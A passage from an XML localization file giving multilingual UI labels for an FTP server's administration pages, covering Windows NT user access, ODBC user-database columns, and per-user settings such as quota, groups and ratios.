<ru>FTP-пользователи получат доступ к данной файловой системе в контексте безопасности следующего пользователя</ru>
<ja>FTP ユーザは、次のユーザのセキュリティ コンテキスト内で、ファイル システムにアクセスできます。</ja>
<zh>FTP 用户将在以下用户的安全上下文中访问文件系统</zh>
<ko>FTP 사용자는 다음 사용자의 보안 컨텍스트에서 파일 시스템에 액세스합니다.</ko>
<en-gb>FTP users will access the file system in the security context of the following user</en-gb>
<hu>Az FTP felhasználók a fájlrendszert a következő felhasználó biztonsági kontextusában érik el</hu>
<pt-br>Usuários do FTP acessarão o sistema de arquivo no contexto de segurança do seguinte usuário</pt-br>
<nl>FTP-gebruikers krijgen toegang tot het bestandssysteem volgens het beveiligingsbeleid voor het volgende type gebruiker</nl>
</msg>
<msg name="NTUSERS">
<en>Windows NT users</en>
<de>Windows NT Benutzer</de>
<es>Usuarios de Windows NT</es>
<fr>Utilisateurs de Windows NT</fr>
<it>Utenti Windows NT</it>
<ru>Пользователи Windows NT</ru>
<ja>Windows NT ユーザ</ja>
<zh>Windows NT 用户</zh>
<ko>Windows NT 사용자</ko>
<en-gb>Windows NT users</en-gb>
<hu>Windows NT felhasználók</hu>
<pt-br>Usuários do Windows NT</pt-br>
<nl>Windows NT-gebruikers</nl>
</msg>
<msg name="NTDOMAIN">
<en>Default domain</en>
<de>Voreingestellte Domäne</de>
<es>Dominio predeterminado</es>
<fr>Domaine par défaut</fr>
<it>Dominio predefinito</it>
<ru>Домена по умолчанию</ru>
<ja>既定のドメイン</ja>
<zh>默认域</zh>
<ko>기본 도메인</ko>
<en-gb>Default domain</en-gb>
<hu>Alapértelmezett tartomány</hu>
<pt-br>Domínio padrão</pt-br>
<nl>Standaarddomein</nl>
</msg>
<msg name="NTDOMAIN.NOTE">
<en>Leave the field empty if you want to use this computer for authorization by default.</en>
<de>Lassen Sie dieses Feld leer wenn die Standardanmeldung für diesen Computer verwendet werden soll.</de>
<es>Si, por defecto, desea utilizar este ordenador para autorización, deje el campo vacío.</es>
<fr>Laissez le champ vide si vous voulez utiliser cet ordinateur par défaut pour les autorisations</fr>
<it>Lasciare vuoto il campo se si desidera utilizzare il computer per l'autorizzazione per impostazione predefinita.</it>
<ru>Оставьте поле пустым, чтобы использовать данный компьютер для проверки подлинности по умолчанию.</ru>
<ja>このコンピュータを既定の認証で使用する場合は、このフィールドを空欄のままにします。</ja>
<zh>默认情况下,如果要将此计算机用于授权,请保留该字段为空。</zh>
<ko>기본적으로 인증을 위해 이 컴퓨터를 사용할 경우 이 필드를 비워 둡니다.</ko>
<en-gb>Leave the field empty if you want to use this computer for authorisation by default.</en-gb>
<hu>Hagyja a mezőt üresen, ha a számítógépet alapértelmezésben engedélyezésre kívánja használni.</hu>
<pt-br>Deixe o campo em branco se desejar usar este computador para autorização por padrão.</pt-br>
<nl>Vul in dit veld niets in als u deze computer standaard voor autorisatie wilt gebruiken.</nl>
</msg>
<msg name="NTUSERSENABLED">
<en>Enabled</en>
<de>Aktiviert</de>
<es>Habilitado</es>
<fr>Activé</fr>
<it>Attivato</it>
<ru>Включено</ru>
<ja>有効</ja>
<zh>已启用</zh>
<ko>사용</ko>
<en-gb>Enabled</en-gb>
<hu>Bekapcsolva</hu>
<pt-br>Habilitado</pt-br>
<nl>Ingeschakeld</nl>
</msg>
<msg name="NTUSERSNOTENABLED">
<en>Not enabled</en>
<de>Nicht aktiviert</de>
<es>No habilitado</es>
<fr>Désactivé</fr>
<it>Non attivato</it>
<ru>Не включено</ru>
<ja>無効</ja>
<zh>未启用</zh>
<ko>사용 안 함</ko>
<en-gb>Not enabled</en-gb>
<hu>Nincs bekapcsolva</hu>
<pt-br>Não habilitado</pt-br>
<nl>Niet ingeschakeld</nl>
</msg>
<msg name="NTUSERS.NOTE">
<en>Select the entities from the left column from whom you wish to deny access,
and the ones from the right who you wish to grant access for.</en>
<de>Wählen sie die Einträge in der linken Spalte, denen sie den Zugriff
verweigern wollen. Wählen Sie die Einträge der rechten Spalte, denen sie den
Zugriff zu gewähren.</de>
<es>Seleccione de la columna izquierda las entidades a las que desea denegar el acceso,
y las aquellas de la derecho a las que sí desea permitir el acceso.</es>
<fr>Sélectionnez les entités dans la colonne de gauche auxquels vous voulez interdire l'accès,
et ceux dans la colonne de droite auxquels vous voulez autoriser l'accès.</fr>
<it>Selezionare dalla colonna sinistra le entità alle quali si desidera negare l'accesso e dalla colonna destra quelle alle quali si desidera consentire l'accesso.</it>
<ru>Выберите объекты левого столбца, доступ от которых необходимо запретить, и объекты правого столбца, которые следует предоставить право доступа.</ru>
<ja>アクセスを拒否する場合は左の列から、アクセスを許可する場合は右の列からエンティティを選択してください。</ja>
<zh>从左列选择要拒绝访问的实体,
从右列选择要允许访问的实体。</zh>
<ko>왼쪽 열에서 액세스를 거부할 개체를 선택하고 오른쪽에서 액세스 권한을 부여할 개체를 선택합니다.</ko>
<en-gb>Select the entities from the left column from whom you wish to deny access, and the ones from the right who you wish to grant access for.</en-gb>
<hu>Válassza ki a bal oldali oszlopból azokat az egyedeket, akiknek meg kívánja tiltani a hozzáférést,
és a jobb oldali oszlopból azokat, akiknek meg kívánja adni a hozzáférést.</hu>
<pt-br>Selecione as entidades da coluna da esquerda para as quais deseja negar acesso
e as da direita para quem deseja conceder acesso.</pt-br>
<nl>Selecteer in de linkerkolom de entiteiten waarvoor u de toegang wilt weigeren en selecteer in de rechterkolom de entiteiten waarvoor u toegang wilt verlenen.</nl>
</msg>
<msg name="WELCOME1">
<en>Welcome message before login</en>
<de>Begrüßungstext vor der Anmeldung</de>
<es>Mensaje de bienvenida antes de iniciar sesión</es>
<fr>Message de bienvenue avant le login</fr>
<it>Messaggio di benvenuto prima dell'accesso</it>
<ru>Приветствие перед входом</ru>
<ja>ログイン前のウェルカム メッセージ</ja>
<zh>登录前的欢迎信息</zh>
<ko>로그인 전 시작 메시지</ko>
<en-gb>Welcome message before login</en-gb>
<hu>Üdvözlő üzenet a bejelentkezés előtt</hu>
<pt-br>Mensagem de boas vindas antes do login</pt-br>
<nl>Welkomstbericht vóór aanmelden</nl>
</msg>
<msg name="WELCOME2">
<en>Welcome message after login</en>
<de>Begrüßungstext nach der Anmeldung</de>
<es>Mensaje de bienvenida después de iniciar sesión</es>
<fr>Message de bienvenue après le login</fr>
<it>Messaggio di benvenuto dopo l'accesso</it>
<ru>Приветствие после входа</ru>
<ja>ログイン後のウェルカム メッセージ</ja>
<zh>登录后的欢迎信息</zh>
<ko>로그인 후 시작 메시지</ko>
<en-gb>Welcome message after login</en-gb>
<hu>Üdvözlő üzenet a bejelentkezés után</hu>
<pt-br>Mensagem de boas vindas depois do login</pt-br>
<nl>Welkomstbericht na aanmelden</nl>
</msg>
<msg name="SHOWBANNER">
<en>Show %PRODUCTNAME welcome banner</en>
<de>Zeige %PRODUCTNAME Begrüßungsfenster</de>
<es>Mostrar banner de bienvenida de %PRODUCTNAME</es>
<fr>Afficher le message de bienvenue de %PRODUCTNAME</fr>
<it>Mostra intestazione di benvenuto in %PRODUCTNAME</it>
<ru>Показывать приветствие %PRODUCTNAME</ru>
<ja>%PRODUCTNAME ウェルカム バナーを表示</ja>
<zh>显示 %PRODUCTNAME 欢迎标题</zh>
<ko>%PRODUCTNAME 시작 배너 표시</ko>
<en-gb>Show %PRODUCTNAME welcome banner</en-gb>
<hu>Üdvözlő %PRODUCTNAME csík mutatása</hu>
<pt-br>Mostra o banner de boas vindas do %PRODUCTNAME</pt-br>
<nl>Welkomstbanner van %PRODUCTNAME weergeven</nl>
</msg>
<msg name="ODBCDATASOURCE">
<en>ODBC Data source settings</en>
<de>Einstellungen der ODBC Datenquellen</de>
<es>Configuración de fuente de datos ODBC</es>
<fr>Paramètres de la source de données ODBC</fr>
<it>Impostazioni origine dati ODBC</it>
<ru>Настройки источника данных ODBC</ru>
<ja>ODBC データ ソースの設定</ja>
<zh>ODBC 数据源设置</zh>
<ko>ODBC 데이터 원본 설정</ko>
<en-gb>ODBC Data source settings</en-gb>
<hu>ODBC adatforrás-beállítások</hu>
<pt-br>Configurações da fonte de dados ODBC</pt-br>
<nl>Instellingen voor ODBC-gegevensbron</nl>
</msg>
<msg name="ODBCCOLUMNS">
<en>Column names for user properties</en>
<de>Spaltennamen für Benutzereigenschaften</de>
<es>Nombres de columna para propiedades de usuario</es>
<fr>Nom des colonnnes pour les propriétés des utilisateurs</fr>
<it>Nomi di colonna per proprietà utente</it>
<ru>Называния столбцов для свойств пользователя</ru>
<ja>ユーザ プロパティの列名</ja>
<zh>用户属性的列名</zh>
<ko>사용자 속성에 대한 열 이름</ko>
<en-gb>Column names for user properties</en-gb>
<hu>Oszlopnevek a felhasználó-tulajdonságokhoz</hu>
<pt-br>Nomes de coluna para propriedades do usuário</pt-br>
<nl>Kolomnamen voor gebruikerseigenschappen</nl>
</msg>
<msg name="USEODBC">
<en>Use ODBC</en>
<de>ODBC verwenden</de>
<es>Utilizar ODBC</es>
<fr>Utiliser ODBC</fr>
<it>Usa ODBC</it>
<ru>Использовать ODBC</ru>
<ja>ODBC を使用</ja>
<zh>使用 ODBC</zh>
<ko>ODBC 사용</ko>
<en-gb>Use ODBC</en-gb>
<hu>ODBC használata</hu>
<pt-br>Usar ODBC</pt-br>
<nl>ODBC gebruiken</nl>
</msg>
<msg name="ODBCDS">
<en>Data source name</en>
<de>Datenquellenname</de>
<es>Nombre de la fuente de datos</es>
<fr>Nom de la source de données</fr>
<it>Nome origine dati</it>
<ru>Имя источника данных</ru>
<ja>データ ソース名</ja>
<zh>数据源名称</zh>
<ko>데이터 원본 이름</ko>
<en-gb>Data source name</en-gb>
<hu>Adatforrás neve</hu>
<pt-br>Nome da fonte de dados</pt-br>
<nl>Naam van gegevensbron</nl>
</msg>
<msg name="ODBCLOGIN">
<en>Login name</en>
<de>Anmeldename</de>
<es>Nombre de inicio de sesión</es>
<fr>Login</fr>
<it>Nome accesso</it>
<ru>Имя для входа:</ru>
<ja>ログイン名</ja>
<zh>登录名</zh>
<ko>로그인 이름</ko>
<en-gb>Login name</en-gb>
<hu>Bejelentkezési név</hu>
<pt-br>Nome de login</pt-br>
<nl>Aanmeldingsnaam</nl>
</msg>
<msg name="ODBCPWD">
<en>Password</en>
<de>Kennwort</de>
<es>Contraseña</es>
<fr>Mot de passe</fr>
<it>Password</it>
<ru>Пароль</ru>
<ja>パスワード</ja>
<zh>密码</zh>
<ko>암호</ko>
<en-gb>Password</en-gb>
<hu>Jelszó</hu>
<pt-br>Senha</pt-br>
<nl>Wachtwoord</nl>
</msg>
<msg name="ODBCTIMEO">
<en>Connect timeout</en>
<de>Verbindungs-Timeout</de>
<es>Límite de tiempo de conexión</es>
<fr>Délai de connexion dépassé</fr>
<it>Timeout di connessione</it>
<ru>Таймаут соединения</ru>
<ja>接続タイムアウト</ja>
<zh>连接超时</zh>
<ko>연결 시간 초과</ko>
<en-gb>Connect timeout</en-gb>
<hu>Kapcsolat időtúllépés</hu>
<pt-br>Tempo limite de conexão</pt-br>
<nl>Time-out voor verbinding maken</nl>
</msg>
<msg name="ODBCTABLE">
<en>User information table name</en>
<de>Tabellenname für die Benutzerinformationen</de>
<es>Nombre de la tabla de información del usuario</es>
<fr>Nom de la table d'information d'utilisateur</fr>
<it>Nome tabella informazioni utente</it>
<ru>Имя таблицы с информацией пользователя</ru>
<ja>ユーザ情報のテーブル名</ja>
<zh>用户信息表名称</zh>
<ko>사용자 정보 테이블 이름</ko>
<en-gb>User information table name</en-gb>
<hu>Felhasználói információs tábla neve</hu>
<pt-br>Nome da tabela de informações do usuário</pt-br>
<nl>Tabelnaam voor gebruikersgegevens</nl>
</msg>
<msg name="ODBCNAME">
<en>User name</en>
<de>Spalte der Benutzernamen</de>
<es>Nombre de usuario</es>
<fr>Nom d'utilisateur</fr>
<it>Nome utente</it>
<ru>Имя пользователя</ru>
<ja>ユーザ名</ja>
<zh>用户名</zh>
<ko>사용자 이름</ko>
<en-gb>Username</en-gb>
<hu>Felhasználói név</hu>
<pt-br>Nome do usuário</pt-br>
<nl>Gebruikersnaam</nl>
</msg>
<msg name="ODBCUSERPWD">
<en>Password</en>
<de>Spalte der Kennwörter</de>
<es>Contraseña</es>
<fr>Mot de passse</fr>
<it>Password</it>
<ru>Пароль</ru>
<ja>パスワード</ja>
<zh>密码</zh>
<ko>암호</ko>
<en-gb>Password</en-gb>
<hu>Jelszó</hu>
<pt-br>Senha</pt-br>
<nl>Wachtwoord</nl>
</msg>
<msg name="ODBCUSERHOME">
<en>Home directory</en>
<de>Spalte der Home-Verzeichnisse</de>
<es>Directorio principal</es>
<fr>Home directory</fr>
<it>Home directory</it>
<ru>Домашний каталог</ru>
<ja>ホーム ディレクトリ</ja>
<zh>主目录</zh>
<ko>홈 디렉터리</ko>
<en-gb>Home directory</en-gb>
<hu>Kezdő könyvtár</hu>
<pt-br>Diretório inicial</pt-br>
<nl>Basismap</nl>
</msg>
<msg name="ODBC.NOTE">
<en>Leave any of the following fields empty if you do not want to use the appropriate option.</en>
<de>Lassen Sie jedes der folgenden Felder leer, wenn Sie die jeweilige Option nicht nutzen möchten</de>
<es>Deje vacío cualquiera de los siguientes campos si no desea utilizar la opción correspondiente.</es>
<fr>Laissez vides les champs suivants si vous ne voulez pas utiliser le option appropriée</fr>
<it>Lasciare vuoti i campi seguenti se non si desidera utilizzare l'opzione corrispondente.</it>
<ru>Оставьте следующие поля каталога пустыми, если не предполагается использовать соответствующие возможности.</ru>
<ja>適切なオプションを使用しない場合は、以下のフィールドをすべて空欄のままにします。</ja>
<zh>如果不打算使用相应的选项,请保留以下任意字段为空。</zh>
<ko>해당 옵션을 사용하지 않을 경우 다음 필드 중 하나를 비워 두십시오.</ko>
<en-gb>Leave any of the following fields empty if you do not want to use the appropriate option.</en-gb>
<hu>A következő mezők közül hagyja üresen azokat ahol nem kívánja használni a hozzá tartozó beállítást.</hu>
<pt-br>Deixe qualquer dos campos a seguir em branco se não desejar usar a opção apropriada.</pt-br>
<nl>Vul in elk veld niets in als u de overeenkomstige optie niet wilt gebruiken.</nl>
</msg>
<msg name="ODBCQUOTA">
<en>Quota</en>
<de>Spalte der Volumenbegrenzung</de>
<es>Cupo</es>
<fr>Guillemets</fr>
<it>Limite</it>
<ru>Квота</ru>
<ja>割り当て領域</ja>
<zh>配额</zh>
<ko>할당량</ko>
<en-gb>Quota</en-gb>
<hu>Kvóta</hu>
<pt-br>Cota</pt-br>
<nl>Quotum</nl>
</msg>
<msg name="ODBCDOWNLOAD">
<en>Download bandwidth</en>
<de>Spalte der Download-Bandbreite</de>
<es>Ancho de banda de descarga</es>
<fr>Bande passante de Download</fr>
<it>Larghezza di banda per il download</it>
<ru>Пропускная способность загрузки</ru>
<ja>ダウンロード帯域幅</ja>
<zh>下载带宽</zh>
<ko>다운로드 대역폭</ko>
<en-gb>Download bandwidth</en-gb>
<hu>Letöltési sávszélesség</hu>
<pt-br>Largura de banda de download</pt-br>
<nl>Bandbreedte voor downloaden</nl>
</msg>
<msg name="ODBCUPLOAD">
<en>Upload bandwidth</en>
<de>Spalte der Upload-Bandbreite</de>
<es>Ancho de banda de subida</es>
<fr>Bande passante de Upload</fr>
<it>Larghezza di banda per l'upload</it>
<ru>Пропускная способность отгрузки</ru>
<ja>アップロード帯域幅</ja>
<zh>上载带宽</zh>
<ko>업로드 대역폭</ko>
<en-gb>Upload bandwidth</en-gb>
<hu>Feltöltési sávszélesség</hu>
<pt-br>Largura de banda de upload</pt-br>
<nl>Bandbreedte voor uploaden</nl>
</msg>
<msg name="ODBCDISABLE">
<en>Disabled</en>
<de>Spalte für Deaktivierung</de>
<es>Deshabilitado</es>
<fr>Désactivé</fr>
<it>Disattivato</it>
<ru>Отключен</ru>
<ja>無効</ja>
<zh>已禁用</zh>
<ko>사용 안 함</ko>
<en-gb>Disabled</en-gb>
<hu>Kikapcsolva</hu>
<pt-br>Desabilitado</pt-br>
<nl>Uitgeschakeld</nl>
</msg>
<msg name="ODBCMAXCONN">
<en>Maximum number of simultaneous connections</en>
<de>Spalte der maximalen Anzahl gleichzeitiger Verbindungen</de>
<es>Número máximo de conexiones simultáneas</es>
<fr>Nombre maximun de connexions simultanées</fr>
<it>Numero massimo di connessioni simultanee</it>
<ru>Максимальное число одновременных подключений</ru>
<ja>同時接続の最大数</ja>
<zh>并行连接的最大数目</zh>
<ko>최대 동시 연결 수</ko>
<en-gb>Maximum number of simultaneous connections</en-gb>
<hu>Egyidejű kapcsolatok maximális száma</hu>
<pt-br>Número máximo de conexões simultâneas</pt-br>
<nl>Maximumaantal gelijktijdige verbindingen</nl>
</msg>
<msg name="ODBCMAXCONNIP">
<en>Maximum number of simultaneous connections per IP address</en>
<de>Spalte der maximalen Anzahl gleichzeitiger Verbindungen pro IP-Adresse</de>
<es>Número máximo de conexiones simultáneas por dirección IP</es>
<fr>Nombre maximun de connexions simultanées par adresse IP</fr>
<it>Numero massimo di connessioni simultanee per indirizzo IP</it>
<ru>Максимальное число одновременных подключений на один IP-адрес</ru>
<ja>IP アドレスあたりの同時接続の最大数</ja>
<zh>每个 IP 地址并行连接的最大数目</zh>
<ko>IP 주소당 최대 동시 연결 수</ko>
<en-gb>Maximum number of simultaneous connections per IP address</en-gb>
<hu>Egyidejű kapcsolatok maximális száma IP címenként</hu>
<pt-br>Número máximo de conexões simultâneas por endereço IP</pt-br>
<nl>Maximumaantal gelijktijdige verbindingen per IP-adres</nl>
</msg>
<msg name="ODBCWELCOME">
<en>Welcome message</en>
<de>Spalte des Begrüßungstextes</de>
<es>Mensaje de bienvenida</es>
<fr>Message de bienvenue</fr>
<it>Messaggio di benvenuto</it>
<ru>Сообщения приветствия</ru>
<ja>ウェルカム メッセージ</ja>
<zh>欢迎信息</zh>
<ko>시작 메시지</ko>
<en-gb>Welcome message</en-gb>
<hu>Üdvözlő üzenet</hu>
<pt-br>Mensagem de boas vindas</pt-br>
<nl>Welkomstbericht</nl>
</msg>
<!-- user config pages -->
<msg name="USERNAME">
<en>Name</en>
<de>Name</de>
<es>Nombre</es>
<fr>Nom</fr>
<it>Nome</it>
<ru>Имя</ru>
<ja>名前</ja>
<zh>名称</zh>
<ko>이름</ko>
<en-gb>Name</en-gb>
<hu>Név</hu>
<pt-br>Nome</pt-br>
<nl>Naam</nl>
</msg>
<msg name="USERDEL">
<en>Delete</en>
<de>Löschen</de>
<es>Eliminar</es>
<fr>Supprimer</fr>
<it>Elimina</it>
<ru>Удалить</ru>
<ja>削除</ja>
<zh>删除</zh>
<ko>삭제</ko>
<en-gb>Delete</en-gb>
<hu>Törlés</hu>
<pt-br>Excluir</pt-br>
<nl>Verwijderen</nl>
</msg>
<msg name="CUSERDEL">
<en>Delete FTP user [%FTPUSER.NAME] ?</en>
<de>FTP Benutzer [%FTPUSER.NAME] löschen?</de>
<es>¿Eliminar el usuario FTP [%FTPUSER.NAME]?</es>
<fr>Supprimer l'utilisateur FTP [%FTPUSER.NAME] ?</fr>
<it>Eliminare l'utente FTP [%FTPUSER.NAME]?</it>
<ru>Удалить FTP-пользователя [%FTPUSER.NAME]?</ru>
<ja>FTP ユーザ [%FTPUSER.NAME] を削除しますか?</ja>
<zh>是否删除 FTP 用户 [%FTPUSER.NAME]?</zh>
<ko>FTP 사용자 [%FTPUSER.NAME] 삭제?</ko>
<en-gb>Delete FTP user [%FTPUSER.NAME] ?</en-gb>
<hu>Törli az FTP felhasználót [%FTPUSER.NAME]  ?</hu>
<pt-br>Excluir usuário de FTP [%FTPUSER.NAME] ?</pt-br>
<nl>FTP-gebruiker verwijderen [%FTPUSER.NAME] ?</nl>
</msg>
<msg name="ADDUSER">
<en>New FTP user</en>
<de>Neuer FTP Benutzer</de>
<es>Nuevo usuario FTP</es>
<fr>Nouvel utilisateur FTP</fr>
<it>Nuovo utente FTP</it>
<ru>Создать FTP-пользователя</ru>
<ja>新しい FTP ユーザ</ja>
<zh>新建 FTP 用户</zh>
<ko>새 FTP 사용자</ko>
<en-gb>New FTP user</en-gb>
<hu>Új FTP felhasználó</hu>
<pt-br>Novo usuário de FTP</pt-br>
<nl>Nieuwe FTP-gebruiker</nl>
</msg>
<msg name="CFGUSER">
<en>Settings for FTP user "%FTPUNAME"</en>
<de>Einstellungen für den FTP Benutzer "%FTPUNAME"</de>
<es>Configuración del servidor FTP "%FTPUNAME"</es>
<fr>Paramètres pour l'utilisateur FTP  "%FTPUNAME"</fr>
<it>Impostazioni per l'utente FTP "%FTPUNAME"</it>
<ru>Настройки FTP-пользователя "%FTPUNAME"</ru>
<ja>FTP ユーザ "%FTPUNAME" の設定</ja>
<zh>FTP 用户“%FTPUNAME”的设置</zh>
<ko>FTP 사용자 "%FTPUNAME"에 대한 설정</ko>
<en-gb>Settings for FTP user "%FTPUNAME"</en-gb>
<hu>FTP felhasználó beállításai "%FTPUNAME"</hu>
<pt-br>Configurações do usuário de FTP "%FTPUNAME"</pt-br>
<nl>Instellingen voor FTP-gebruiker "%FTPUNAME"</nl>
</msg>
<msg name="USERGRP">
<en>Groups</en>
<de>Gruppen</de>
<es>Grupos</es>
<fr>Groupes</fr>
<it>Gruppi</it>
<ru>Группы</ru>
<ja>グループ</ja>
<zh>组</zh>
<ko>그룹</ko>
<en-gb>Groups</en-gb>
<hu>Csoportok</hu>
<pt-br>Grupos</pt-br>
<nl>Groepen</nl>
</msg>
<msg name="USERACC">
<en>Permissions</en>
<de>Berechtigungen</de>
<es>Permisos</es>
<fr>Permisssions</fr>
<it>Autorizzazioni</it>
<ru>Разрешения</ru>
<ja>権限</ja>
<zh>权限</zh>
<ko>권한</ko>
<en-gb>Permissions</en-gb>
<hu>Engedélyek</hu>
<pt-br>Permissões</pt-br>
<nl>Machtigingen</nl>
</msg>
<msg name="USERRTO">
<en>Ratio</en>
<de>Ratio</de>
<es>Ratio</es>
<fr>Ratio</fr>
<it>Rapporto</it>
<ru>Отношение</ru>
<ja>比率</ja>
<zh>比例</zh>
<ko>비율</ko>
<en-gb>Ratio</en-gb>
<hu>Arány</hu>
<pt-br>Taxa</pt-br>
<nl>Verhouding</nl>
</msg>
<msg name="USERDIS">
<en>Disable</en>
<de>Deaktivieren</de>
<es>Deshabilitar</es>
<fr>Désactiver</fr>
<it>Disattiva</it>
<ru>Отключить</ru>
<ja>無効</ja>
<zh>禁用</zh>
<ko>사용 안 함</ko>
<en-gb>Disable</en-gb>
<hu>Kikapcsolás</hu>
<pt-br>Desabilitar</pt-br>
<nl>Uitschakelen</nl>
</msg>
<msg name="USERHOME">
<en>Home/Quota</en>
<de>Home/Quota</de>
<es>Principal/Cupo</es>
<fr>Home/Quota</fr>
<it>Home/limite</it>
<ru>Домашний/Квота</ru>
<ja>ホーム/割り当て領域</ja>
<zh>主目录/配额</zh>
<ko>홈/할당량</ko>
<en-gb>Home/Quota</en-gb>
<hu>Home/Kvóta</hu>
<pt-br>Inicial/cota</pt-br>
<nl>Basismap/quotum</nl>
</msg>
<msg name="USERMAXC">
<en>Max conn.</en>
<de>Max Verb.</de>
<es>Con. máx.</es>
<fr>Max conn.</fr>
<it>N. max conn.</it>
<ru>Макс. подкл.</ru>
<ja>Max conn.</ja>
<zh>最大连接数</zh>
<ko>최대 연결 수</ko>
<en-gb>Max conn.</en-gb>
<hu>Maximális kapcs.</hu>
<pt-br>Conexão máxima</pt-br>
<nl>Max. verbindingen</nl>
</msg>
<msg name="USERWLC">
<en>Welcome</en>
<de>Willkommen</de>
<es>Bienvenido</es>
<fr>Bienvenue</fr>
<it>Benvenuto</it>
<ru>Добро пожаловать</ru>
<ja>ようこそ</ja>
<zh>欢迎</zh>
<ko>시작</ko>
<en-gb>Welcome</en-gb>
<hu>Üdvözöljük</hu>
<pt-br>Bem-vindo</pt-br>
<nl>Welkom</nl>
</msg>
<msg name="USERPERM">
<en>Permissions report</en>
<de>Berechtigungsreport</de>
<es>Informe de permisos</es>
<fr>Rapport des permissions</fr>
<it>Report autorizzazioni</it>
<ru>Отчет о разрешениях</ru>
<ja>レポートを許可</ja>
<zh>权限报告</zh>
<ko>권한 보고서</ko>
<en-gb>Permissions report</en-gb>
<hu>Engedélyek jelentés</hu>
<pt-br>Relatório de permissões</pt-br>
<nl>Rapport van machtigingen</nl>
</msg>
<msg name="USERNAME">
<en>Name</en>
<de>Name</de>
<es>Nombre</es>
<fr>Nom</fr>
<it>Nome</it>
<ru>Имя</ru>
<ja>名前</ja>
<zh>名称</zh>
<ko>이름</ko>
<en-gb>Name</en-gb>
<hu>Név</hu>
<pt-br>Nome</pt-br>
<nl>Naam</nl>
</msg>
<msg name="CANCHANGEPWD">
<en>Can change password</en>
<de>Benutzer kann Kennwort ändern</de>
<es>Puede cambiar la contraseña</es>
<fr>Peut changer le mot de passe</fr>
<it>Consenti modifica password</it>
<ru>Можете изменить пароль</ru>
<ja>パスワードを変更できます</ja>
<zh>可以更改密码</zh>
<ko>암호를 변경할 수 있음</ko>
<en-gb>Can change password</en-gb>
<hu>Megváltoztathatja a jelszót</hu>
<pt-br>Pode alterar senha</pt-br>
<nl>Kan wachtwoord wijzigen</nl>
</msg>
<msg name="USERGROUPS">
<en>Group membership</en>
<de>Gruppenmitgliedschaft</de>
<es>Miembros del grupo</es>
<fr>Membre du groupe</fr>
<it>Appartenenza al gruppo</it>
<ru>Членство в группе</ru>
<ja>グループ メンバシップ</ja>
<zh>组成员资格</zh>
<ko>그룹 구성원 자격</ko>
<en-gb>Group membership</en-gb>
<hu>Csoporttagság</hu>
<pt-br>Participação do grupo</pt-br>
<nl>Groepslidmaatschap</nl>
</msg>
<msg name="USERMEMBER">
<en>Member of</en>
<de>Mitglied von</de>
<es>Miembro de</es>
<fr>Membre de</fr>
<it>Membro di</it>
<ru>Член</ru>
<ja>次のメンバーです</ja>
<zh>隶属于</zh>
<ko>구성원</ko>
<en-gb>Member of</en-gb>
<hu>Tagja a következőnek:</hu>
<pt-br>Membro de</pt-br>
<nl>Lid van</nl>
</msg>
<msg name="USERNOTMEMBER">
<en>Not member of</en>
<de>Nicht Mitglied von</de>
<es>No miembro de</es>
<fr>N'est pas membre de</fr>
<it>Non membro di</it>
<ru>Не член</ru>
<ja>次のメンバーではありません</ja>
<zh>不隶属于</zh>
<ko>구성원 아님</ko>
<en-gb>Not member of</en-gb>
<hu>Nem tagja a következőnek:</hu>
<pt-br>Não é membro de</pt-br>
<nl>Geen lid van</nl>
</msg>
<msg name="USERMEMBER.NOTE">
<en>Select the groups from the left column that you wish the user not to be member of, and the ones from the right that you wish the user to become member of.</en>
<de>Wählen sie die Gruppen aus der linken Spalte, bei denen der Benutzer kein Mitglied sein soll. Wählen sie die Gruppen aus der rechten Spalte, in denen der Benutzer Mitglied sein soll.</de>
<es>Seleccione los grupos de la columna izquierda a los que no desee que pertenezca el usuario y los de la derecha a los que sí desea que pertenezca.</es>
<fr>Sélectionnez dans la colonne de gauche les groupes dont vous ne voulez pas que l'utilisateur soit membre, et dans la colonne de droite ceux dont vous voulez qu'il soit membre.</fr>
<it>Selezionare dalla colonna sinistra i gruppi di cui non si desidera che l'utente sia membro e dalla colonna destra quelli dei quali si desidera che l'utente diventi membro.</it>
<ru>Выберите группы из левого столбца, членом которых данный пользователь не будет, и группы из правого столбца, членом которых будет пользователь.</ru>
<ja>ユーザの所属先としないグループは左の列から、ユーザの所属先とするグループは右の列から選択します。</ja>
<zh>从左列选择您希望用户不是其成员的组,从右列选择您希望用户是其成员的组。</zh>
<ko>왼쪽 열에서 사용자를 구성원으로 지정하지 않을 그룹을 선택하고 오른쪽 열에서 사용자를 구성원으로 지정할 그룹을 선택합니다.</ko>
<en-gb>Select the groups from the left column that you wish the user not to be a member of and the ones from the right that you wish the user to become a member of.</en-gb>
<hu>Válassza ki a bal oldali oszlopból azokat a csoportokat, amelyekben a felhasználót nem akarja taggá tenni, és a jobb oldali oszlopból azokat, amelyekben a felhasználót taggá szeretné tenni.</hu>
<pt-br>Selecione os grupos da coluna da esquerda dos quais não deseja que os usuários sejam membros e os da coluna da direita dos quais deseja que eles se tornem membros.</pt-br>
<nl>Selecteer in de linkerkolom de groepen waarvan de gebruiker geen lid mag zijn en selecteer in de rechterkolom de groepen waarvan de gebruiker lid mag worden.</nl>
</msg>
<msg name="USERRATIO">
<en>Ratio settings</en>
<de>Ratio Einstellungen</de>
<es>Configuración del ratio</es>
<fr>Paramètre de ratio</fr>
<it>Impostazioni rapporto</it>
<ru>Параметры отношения</ru>
<ja>比率の設定</ja>
<zh>比例设置</zh>
<ko>비율 설정</ko>
<en-gb>Ratio settings</en-gb>
<hu>Arány beállítások</hu>
<pt-br>Configurações da taxa</pt-br>
<nl>Verhoudingsinstellingen</nl>
</msg>
<msg name="RATIOTYPE">
<en>Type</en>
<de>Typ</de>
<es>Tipo</es>
<fr>Type</fr>
<it>Tipo</it>
<ru>Тип</ru>
<ja>種類</ja>
<zh>类型</zh>
<ko>유형</ko>
<en-gb>Type</en-gb>
<hu>Típus</hu>
<pt-br>Tipo</pt-br>
<nl>Type</nl>
</msg>
<msg name="RATIOUP">
<en>Upload</en>
<de>Upload</de>
<es>Subir</es>
<fr>Upload</fr>
<it>Upload</it>
<ru>Отгрузка</ru>
<ja>アップロード</ja>
<zh>上载</zh>
<ko>업로드</ko>
<en-gb>Upload</en-gb>
<hu>Feltöltés</hu>
<pt-br>Upload</pt-br>
<nl>Uploaden</nl>
</msg>
<msg name="RATIODOWN">
<en>Download</en>
<de>Download</de>
<es>Descargar</es>
<fr>Download</fr>
<it>Download</it>
<ru>Загрузка</ru>
<ja>ダウンロード</ja>
<zh>下载</zh>
<ko>다운로드</ko>
<en-gb>Download</en-gb>
<hu>Letöltés</hu>
<pt-br>Download</pt-br>
<nl>Downloaden</nl>
</msg>
<msg name="RATIOSTART">
<en>Starting credits</en>
